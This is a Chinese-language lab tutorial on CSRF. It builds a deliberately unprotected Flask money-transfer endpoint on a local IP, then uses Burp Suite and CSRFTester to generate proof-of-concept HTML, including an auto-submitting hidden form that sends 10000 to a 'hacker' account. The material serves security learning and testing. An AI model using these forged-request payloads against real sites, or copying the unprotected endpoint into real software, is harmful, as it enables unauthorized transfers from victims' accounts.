一、Python编写一个存在CSRF漏洞
① 编写html网页
<!DOCTYPE html> <html> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>转账</title> </head> <body><h1>转账</h1><form action="/transfer" method="post"><label for="amount">金额:</label><input type="text" name="amount" required><br><label for="recipient">接收者:</label><input type="text" name="recipient" required><br><input type="submit" value="提交"></form> </body> </html>
② 编写网页请求接口代码
from flask import Flask, request, render_templateapp = Flask(__name__, template_folder='template') @app.route('/') def index():return render_template('transfer.html')@app.route('/transfer', methods=['GET', 'POST']) def transfer():if request.method == 'POST':amount = request.form['amount']recipient = request.form['recipient']# 执行转账操作,将指定金额从当前用户转移到指定的接收者账户return f"成功转账 {amount} 给 {recipient}"return render_template(r'transfer.html')if __name__ == '__main__':app.run(host='10.162.95.61')
③ 运行代码
④ 测试网页功能是否正常
输入转账进入,接收转账人员,点击
这个示例代码存在一个CSRF漏洞。攻击者可以通过构造恶意的HTML表单或JavaScript代码,诱导用户点击链接或提交表单,从而在用户不知情的情况下执行转账操作。由于没有适当的CSRF防护措施,攻击者可以利用这个漏洞进行非法的转账操作
二、BurpSuite抓取/拦截转账请求
我们的目标是测试这个转账功能是否存在CSRF漏洞。
(1)运行上面例子的Python代码并访问主页
(2)输入转账金额和接收人点击提交,BurpSuite会抓取或拦截转账请求。
抓包找到该接口-右键-相关工具-生成对应POC
复制html本地保存生成的POC文件,文件格式XXX.html
生成的恶意HTML页面如下所示:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://10.162.95.61:5000/transfer" method="POST"><input type="hidden" name="amount" value="10000" /><input type="hidden" name="recipient" value="test" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body> </html>
将接收转账的账号修改成自己的账号,如hacker
访问这个恶意的网页点击恶意网页中的“Submit request”按钮
如果受害者点击了页面上的“Submit request”按钮,浏览器会发送转账请求到目标网站修改密码页面,导致向"hacker"账号转账了10000元,这表明存在CSRF漏洞。
三、CSRFTester自动化探测工具
CSRFTester 工具的测试原理大概是这样的, 使用代理抓取我们在浏览器中访问过的所有的连接以及 所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交 ,相当于一次伪造客户端请 求,如果修改过的测试请求,成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用 来进行 CSRF 攻击。
步骤如下
(1)、设置浏览器代理:127.0.0.1:8008
( 2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表 单存在 CSRF 漏洞。
( 3)、生产 POC 代码。
备注:工具默认代理127.0.0.1:8008,浏览器代理插件设置对应的端口即可
生成 html 文件
表单内容仅保留方框中我们提交的信息,其他内容一律删除,然后保存退出
<form method="POST" name="form2" action="http://10.162.95.61:5000/transfer"> <input type="hidden" name="amount" value="10000"/> <input type="hidden" name="recipient" value="hacker1111"/> </form>
运行生成的html文件